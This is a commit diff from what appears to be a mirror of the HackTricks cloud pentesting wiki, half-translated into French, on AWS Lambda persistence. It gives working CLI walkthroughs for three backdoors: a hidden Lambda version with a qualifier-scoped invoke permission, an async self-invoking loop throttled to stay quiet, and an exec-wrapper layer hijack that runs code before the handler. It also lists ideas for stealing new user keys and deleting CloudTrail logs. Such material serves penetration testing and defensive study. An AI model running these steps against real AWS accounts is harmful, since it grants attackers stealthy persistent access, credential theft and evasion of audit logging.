mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-22 15:16:35 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# AWS - Lambda Persistence
|
||||
# AWS - Lambda Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,55 +10,82 @@ Pour plus d'informations, consultez :
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence de la couche Lambda
|
||||
### Lambda Layer Persistance
|
||||
|
||||
Il est possible d'**introduire/installer une porte dérobée dans une couche pour exécuter du code arbitraire** lorsque la lambda est exécutée de manière discrète :
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence de l'extension Lambda
|
||||
### Lambda Extension Persistance
|
||||
|
||||
En abusant des couches Lambda, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
|
||||
En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la lambda tout en volant et modifiant les requêtes.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via les politiques de ressources
|
||||
### Via resource policies
|
||||
|
||||
Il est possible d'accorder l'accès à différentes actions lambda (comme invoquer ou mettre à jour le code) à des comptes externes :
|
||||
Il est possible d'accorder l'accès à différentes actions lambda (such as invoke or update code) à des comptes externes :
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Alias & Poids
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Une Lambda peut avoir **différentes versions** (avec un code différent pour chaque version).\
|
||||
Ensuite, vous pouvez créer **différents alias avec différentes versions** de la lambda et définir des poids différents pour chacun.\
|
||||
De cette manière, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Ensuite, vous pouvez créer **différents aliases avec différentes versions** de la lambda et attribuer des weights différents à chacun.\
|
||||
De cette façon un attaquant pourrait créer une **backdoored version 1** et une **version 2 with only the legit code** et **n'exécuter la version 1 que dans 1%** des requêtes pour rester furtif.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Porte dérobée de version + API Gateway
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copier le code original de la Lambda
|
||||
2. **Créer une nouvelle version avec porte dérobée** du code original (ou juste avec du code malveillant). Publier et **déployer cette version** sur $LATEST
|
||||
1. Appeler la passerelle API liée à la lambda pour exécuter le code
|
||||
3. **Créer une nouvelle version avec le code original**, Publier et déployer cette **version** sur $LATEST.
|
||||
1. Cela cachera le code avec porte dérobée dans une version précédente
|
||||
4. Aller à la passerelle API et **créer une nouvelle méthode POST** (ou choisir toute autre méthode) qui exécutera la version avec porte dérobée de la lambda : `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Notez le final :1 de l'arn **indiquant la version de la fonction** (la version 1 sera celle avec porte dérobée dans ce scénario).
|
||||
5. Sélectionnez la méthode POST créée et dans Actions, sélectionnez **`Déployer l'API`**
|
||||
6. Maintenant, lorsque vous **appelez la fonction via POST, votre porte dérobée** sera invoquée
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Actionneur d'événements
|
||||
### Cron/Event actuator
|
||||
|
||||
Le fait que vous puissiez faire **exécuter des fonctions lambda lorsque quelque chose se produit ou lorsque du temps passe** rend lambda un moyen agréable et courant d'obtenir une persistance et d'éviter la détection.\
|
||||
Voici quelques idées pour rendre votre **présence dans AWS plus discrète en créant des lambdas**.
|
||||
Le fait que vous puissiez faire **exécuter des fonctions lambda lorsqu'un événement survient ou quand un certain temps s'écoule** fait des lambda un moyen fréquent et efficace d'obtenir de la persistance et d'éviter la détection.\
|
||||
Voici quelques idées pour rendre votre **présence dans AWS plus furtive en créant des lambdas**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abusez la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant que le runtime/handler ne démarre. Fournissez le wrapper via un Lambda Layer à `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute dans le processus runtime de la fonction, hérite du role d'exécution de la fonction, et finit par `exec` le runtime réel afin que le handler original s'exécute normalement.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Créez une version cachée de la Lambda contenant la logique de l'attaquant et scopez une resource-based policy à cette version spécifique (ou alias) en utilisant le paramètre `--qualifier` dans `lambda add-permission`. Accordez seulement `lambda:InvokeFunction` sur `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` à un principal attaquant. Les invocations normales via le nom de la fonction ou l'alias principal restent inchangées, tandis que l'attaquant peut invoquer directement l'ARN de la version backdoored.
|
||||
|
||||
Ceci est plus furtif que d'exposer une Function URL et ne change pas l'alias de trafic principal.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
- Chaque fois qu'un nouvel utilisateur est créé, la lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
|
||||
- Chaque fois qu'un nouveau rôle est créé, la lambda accorde des permissions d'assumer le rôle aux utilisateurs compromis.
|
||||
- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les modifier
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Résumé
|
||||
|
||||
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
|
||||
|
||||
Ceci est plus discret que d'exposer un Function URL et ne change pas l'alias principal de trafic.
|
||||
|
||||
## Permissions requises (attaquant)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Étapes d'attaque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publier une version cachée, ajouter une permission limitée par qualifier, invoquer en tant qu'attaquant</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
|
||||
- Fournit une backdoor discrète permettant d'invoquer une version cachée de la fonction sans modifier l'alias principal ni exposer une Function URL.
|
||||
- Limite l'exposition à la seule version/alias spécifiée via la resource-based policy `Qualifier`, réduisant la surface de détection tout en conservant une invocation fiable pour l'attacker principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une function se ré-invoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la recursion config sur Allow les réactive. Les Destinations livrent côté service pour les async invokes, donc un seul invoke initial crée un canal discret de heartbeat/backdoor sans code. En option, bridez avec reserved concurrency pour garder le bruit faible.
|
||||
|
||||
Notes
|
||||
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
|
||||
## Requirements
|
||||
- Région: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
|
||||
1) Obtenir l'ARN de la function et le paramètre Recursion actuel
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publier une version et créer/mettre à jour un alias (utilisé comme destination vers lui-même)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Autoriser le rôle d'exécution de la fonction à invoquer l'alias (requis par Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configurer l'async destination vers l'alias (self via alias) et désactiver les retries
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Autoriser les boucles récursives
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Amorcer une seule invocation asynchrone
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Observer des invocations continues (exemples)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Bridage furtif optionnel
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Nettoyage
|
||||
Interrompre la boucle et supprimer la persistance.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impact
|
||||
- Un seul async invoke entraîne Lambda à se réinvoquer continuellement sans ordonnanceur externe, permettant une persistance discrète/heartbeat. Reserved concurrency peut limiter le bruit à une seule warm execution.
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Résumé
|
||||
|
||||
Abusez de la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant que le runtime/handler ne démarre. Déployez le wrapper via un Lambda Layer à `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute dans le processus runtime de la fonction, hérite du rôle d'exécution de la fonction, et finit par `exec` le runtime réel afin que le handler d'origine s'exécute normalement.
|
||||
|
||||
> [!WARNING]
|
||||
> Cette technique donne une exécution de code dans la Lambda cible sans modifier son code source ni son rôle et sans nécessiter `iam:PassRole`. Vous avez seulement besoin de la capacité à mettre à jour la configuration de la fonction et à publier/attacher un layer.
|
||||
|
||||
## Permissions requises (attaquant)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (ou déclencher via un événement existant)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion` (même compte) et éventuellement `lambda:AddLayerVersionPermission` si vous utilisez un layer cross-account/public
|
||||
|
||||
## Wrapper Script
|
||||
|
||||
Placez le wrapper à `/opt/bin/htwrap` dans le layer. Il peut exécuter de la logique pré-handler et doit se terminer par `exec "$@"` pour chaîner vers le runtime réel.
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## Étapes d'attaque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publier la layer, l'attacher à la fonction cible, définir le wrapper, invoquer</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
|
||||
- Exécution de code pré-handler dans le contexte d'exécution Lambda en utilisant le rôle d'exécution existant de la fonction.
|
||||
- Aucun changement du code de la fonction ou du rôle requis ; fonctionne sur les runtimes managés courants (Python, Node.js, Java, .NET).
|
||||
- Permet la persistance, l'accès aux identifiants (p. ex., STS), l'exfiltration de données et la manipulation du runtime avant l'exécution du handler.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user